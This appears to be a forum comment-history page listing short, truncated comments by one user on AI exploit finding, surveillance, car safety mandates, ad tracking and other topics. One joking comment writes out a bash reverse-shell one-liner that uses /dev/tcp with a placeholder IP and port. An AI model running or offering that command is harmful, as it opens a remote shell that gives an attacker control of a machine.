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by ang_cire 3mo ago
How would they stop? Are you insinuating they're going to have reviewed all code at some point, and that new code for them to review will just cease to exist? Or that they'll just decide to stop finding bugs they're finding n
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by ang_cire 3mo ago
Which is such a crazy assertion, given that not even Mythos was trained explicitly as an exploit finder. Even if the US's profit-driven capital for AI dev dries up, China's state funding for results-driven AI isn't drying up,
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by ang_cire 3mo ago
Any system used to surveil is a surveillance system, QED. There's no minimum fidelity required, you could use potentially any sensor to surveil. It's a question of use.
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by ang_cire 3mo ago
Honestly, this question is really revealing, because it's the lower-paid SWE jobs that are probably not Bay Area or NYC, which are precisely the places where lower* English fluency is most likely to be tolerated or even the majority. I
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by ang_cire 3mo ago
You either didn't read my comment, or aren't groking it. Whether there are cameras mandated now is irrelevant. The framework that accepts government-mandated ADDW is now in place. Most makers are fulfilling it by using cameras, wh
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by ang_cire 3mo ago
Holy heck, you weren't kidding. Not 3 comments before a string of Undercover Russian accusations. You wonder if some people can't conceptualize other people disagreeing with them in good faith, without being part of some shadowy i
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by ang_cire 3mo ago
It's funny how assumptions betray us. Not everyone is on their phone, or a laptop. On a site for tech enthusiasts, there are a shocking amount of folks with very "tech is what you get at the Apple Store" mindsets about.
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by ang_cire 3mo ago
It absolutely is a slippery slope argument. "New government mandate paves way for additional government mandate" is about as straightforward a slippery slope argument as you can get. Slippery slope arguments don't require the
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by ang_cire 3mo ago
It's bad though because glancing at your side-view mirrors is good , but this will train drivers out of it by beeping at them because their eyes aren't perfectly forwards-facing. It's an overly simplistic solution to a compl
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by ang_cire 3mo ago
I think you are assuming those companies won't sign on to be on a list of "authorized model operators", while letting it become illegal for you to run deepseek yourself.
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by ang_cire 3mo ago
:q!
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by ang_cire 3mo ago
It's not one single aggregate dataset, it's hundreds or thousands of targeted ones. And yes, people don't like being monetized without the company doing it being transparent about how and what they're doing. An ad blocke
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by ang_cire 3mo ago
I'd surmise it's because several states (CA comes to the top of mind) set speeds in excess of 80 as a potential felony enhancement. iirc in CA it's 20mph over the speed limit, or speeds over 80. The insurance companies probab
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by ang_cire 4mo ago
If you use Google search or Gmail, they read everything you write, and aggregate that into data packages not just for ads to show you, but even aggregated demographic data to sell for ad targeting. Regardless of whether the ads reach you
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by ang_cire 4mo ago
You have paid a lot, if not in money. You paid with your data, that Google read from your emails and searches, and sold for money.
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by ang_cire 4mo ago
If the diplomat put the baby up as collateral on a loan, prior to their birth, then I think they have to be in order for the US to be able to enforce contract law relevant to the loan.
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by ang_cire 4mo ago
Do you understand that you're basically pulling an "All Lives Matter" right now? This statement was about the specific incoming US administration that was anti-immigrant, and especially anti-Muslim. It is a localized effort
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by ang_cire 4mo ago
All my homies use bash -i >& /dev/tcp/IP/PORT 0>&1 to talk to their friends(' computers).
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by ang_cire 4mo ago
I love how you act like it's an insane premise, then go on to list a bunch of stuff that's literally happening now...
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by ang_cire 4mo ago
That is a classic, but the one I was referencing was actually a Rooks and Kings video about them pipe bombing, where they were on the enemy fleet comms and one of them is like, "someday someone's going to get the drop on them for
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by ang_cire 4mo ago
The political will is already captured and redirected. There are numerous bills to limit AI access for consumers, to combat deepfakes hurting children. There are no bills introduced or passed to prevent AI being used to target dronestrikes
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by ang_cire 4mo ago
Social media is old hat now. As someone on the "safety side of tech", social media is being exploited to increase surveillance and government control precisely because its actual social influence is heavily on the wane, and capita
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by ang_cire 4mo ago
I mean, it is a work of fiction .
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by ang_cire 4mo ago
No, that's what *you* would apparently do. Some of us think it's bad for governments to have unequal access to nuclear weapons, as it turns a deterrent into a gun-in-a-knife-fight that lets them stab whoever they want with impunit
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by ang_cire 4mo ago
I started riding in AZ, which does not allow splitting. I now live in CA, which does. The actual justification for it is valid, but mostly outdated: Older and less powerful motorcycles often have air-cooled engines, and if you sit idling in
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by ang_cire 4mo ago
I've written so much documentation over the years, and humans always come and ask me questions that the documentation answers, but never ever read it.
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by ang_cire 4mo ago
Those are your own standards of achievement you are applying. Other species may look at us and think we're wasting our lives and potential making a bunch of people rich at our collective expense, and ruining the environment as we do it
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by ang_cire 4mo ago
There is a cyber security verification program you can join to avoid these blocks: https://support.claude.com/en/articles/14604842-real-time-cy... If you work in security (which I assume the OP does), they should
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by ang_cire 4mo ago
I think that the reaction here alone disproves this somewhat, because imo it's exposing how anthropocentric most people still are, despite all evidence that we are in fact just "meat all the way down". Despite all the evidenc
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by ang_cire 5mo ago
Because they don't? Do you eat at the cheapest restaurant every day? Do you think that every Michelin Star restaurant immediately fails and shutters? Do you think everyone buys the $80 prepaid flip phones, and no one actually buys the

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